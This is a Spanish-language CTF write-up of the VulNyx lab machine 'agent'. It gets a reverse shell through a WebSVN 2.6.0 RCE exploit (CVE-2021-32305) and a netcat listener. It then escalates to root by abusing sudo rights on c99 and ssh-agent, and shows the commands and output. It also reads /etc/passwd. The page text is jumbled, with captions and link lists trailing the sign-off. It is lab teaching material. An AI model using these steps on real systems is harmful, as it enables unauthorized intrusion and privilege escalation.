Se añade la IP de nuestro host (sistema) y un puerto que no esté siendo usado por ningún servicio tanto en nuestro sistema como en el del host atacado.

El siguiente paso es habilitar un puerto TCP con netcat en el puerto 6969 y así mismo ejecutar el exploit programado en Python que acabamos de modificar con nuestra IP.

┌──(root㉿maritrini)-[/home/kali]
└─# python3 50042.py http://192.168.1.100:/websvn
┌──(root㉿maritrini)-[/home/kali]
└─# nc -lvnp 6969      
listening on [any] 6969 ...
┌──(root㉿maritrini)-[/home/kali]
└─# nc -lvnp 6969      
listening on [any] 6969 ...
connect to [192.168.1.62] from (UNKNOWN) [192.168.1.100] 56176
bash: cannot set terminal process group (422): Inappropriate ioctl for device
bash: no job control in this shell
www-data@agent:~/html/websvn$ id;whoami;hostname
id;whoami;hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
agent
www-data@agent:~/html/websvn$ 

Se obtiene una reverseshell bajo usuario www-data y se accede al servidor con una tty no interactiva.

Enumeración y Pivoting de usuarios en sistema.

Para la enumeración se comienza con la lectura del archivo passwd que almacena los usuarios en sistema además de datos de interés como si tienen directorio o una shell con bash.

www-data@agent:/$ cat /etc/passwd | grep sh
cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
dustin:x:1000:1000:dustin:/home/dustin:/bin/bash

Por lo que parece, el camino a seguir seguramente se oriente hacia el pivoting hacia el usuario dustin. Después de enumerar por permisos especiales y buscar por unidades a través de systemd, se ejecuta enumeración de permisos SUDO por usuario y se obtiene resultado positivo.

www-data@agent:/$ sudo -l 
sudo -l
Matching Defaults entries for www-data on agent:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on agent:
    (dustin) NOPASSWD: /usr/bin/c99

Se añade el usuario dustin a la parametrización y se obtiene una shell con el nuevo usuario, completando con exito el pivoting de usuario.

www-data@agent:/$ sudo -u dustin /usr/bin/c99 -wrapper /bin/bash,-s .
sudo -u dustin /usr/bin/c99 -wrapper /bin/bash,-s .
id
uid=1000(dustin) gid=1000(dustin) groups=1000(dustin)

Explotación y escalada hacia usuario administrador (root).

Desde el usuario dustin y siguiendo la enumeración anterior, se comprueba permisos SUDO y se puede ejecutar el binario ssh-agent (¿otro guiño al título de la máquina quizás?) sin contraseña y como usuario root. La escalada a root es inminente, se sigue la misma metodología que en el apartado anterior y se encuentra el comando necesario en la base de datos de CTFObins para obtener una shell con el usuario root abusando de los permisos del binario a ejecutar.

sudo /usr/bin/ssh-agent /bin/bash
id;whoami
uid=0(root) gid=0(root) groups=0(root)
root

Finalmente la máquina está pwneada y se accede a la lectura de las flags, cada una en el directorio correspondiente al usuario dustin y al de root.

  • Artículo elaborado por: ShellDredd

  • Gracias por leer este artículo y a la plataforma VulNyx por brindar estas máquinas a la comunidad.

  • Y ahora a vuestra casa a comer polvorones y beber champán del barato. Feliz Navidad.

Si aún no conoces los rangos y tipologías de todos los puertos que a día de hoy conforman la estructura para servicios en red estipulada por la , puedes aprender más sobre ello en este .

Notas documentadas de las versiones actuales:

Notas documentadas de las versiones:

Último CVE crítico parcheado en la versión actual encontrada:

Se comprueba con a nivel de sistema si existe algún exploit usable para las versiones encontradas pero antes, se recomienda actualizar la base de datos local referente a en el sistema, tal como se especifica a continuación.

Como es común en otros writeups, se comprueba tecnologías y respuestas a peticiones con whatweb (también se puede ) y curl.

Con un 403 se procede con la enumeración de directorios y extensiones dependientes de la IP con diferentes herramientas como , , , entre otras, no se consigue ningún resultado con respuesta 200 o 301 por lo que después de investigar en diferentes caminos a seguir, se ejecuta un al 80 para verificar un posible puerto trampa que ejerza como SSL/TLS del que extraer información.

La herramienta alberga una parametrización que permite utilizar un agente en específico, lo que devuelve un resultado positivo revelando el "index.html" y "websvn".

Se procede con una enumeración de vulnerabilidades para la versión del panel de gestión el cual permite funciones de comprobación y revisión de archivos o repositorios así como sus versiones de modificación. En este caso la versión es la 2.6.0 y se observa en el footer de la propia interfáz web.

Como es común en , a continuación está disponible una tabla con toda la documentación anexa correspondiente a la información recopilada tras la investigación.

Web oficial WebSVN:

Tenable:

Mitre:

ExploitDB:

Vuldb:

Incibe:

Packet Storm:

ExploitDB:

Vulners:

Efectivamente aquí está el salto de usuario, abusando de los permisos otorgados por sudo para ejecutar el binario c99 como usuario dustin sin contraseña. Se hace una búsqueda en para comprobar si está reportado este binario y así es.

Agencia de asignación de números por Internet (IANA)
artículo
https://www.openssh.com/releasenotes.html
https://nginx.org/en/CHANGES-1.22
https://www.tenable.com/plugins/was/113420
"searchsploit"
exploitdb
usar en versión web
wfuzz
dirbuster
gobuster
testssl
wfuzz
WebSVN
DeliciousHack
https://websvnphp.github.io/index.html
https://www.tenable.com/cve/CVE-2021-32305
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32305
https://www.exploit-db.com/exploits/50042
https://vuldb.com/?id.175347
https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2021-32305
https://packetstormsecurity.com/files/163225/Websvn-2.6.0-Remote-Code-Execution.html
https://www.exploit-db.com/exploits/50042
https://vulners.com/zdt/1337DAY-ID-36453
GTFObins
🥞
🖲️
Enumeración de Servicios y puertos expuestos a la red.
Enumeración de tecnologías web y protocolos TCP.
Explotación de vulnerabilidad en el software WebSVN.
Enumeración y Pivoting de usuarios en sistema.
Explotación y escalada hacia usuario administrador (root).
1.Captura del proceso de actualización de la base de datos local de exploits en sistema.
2.Captura del proceso de actualización de la base de datos local de exploits en sistema.
Captura del panel web
Captura versión WebSVN
Captura código exploit.
Page cover image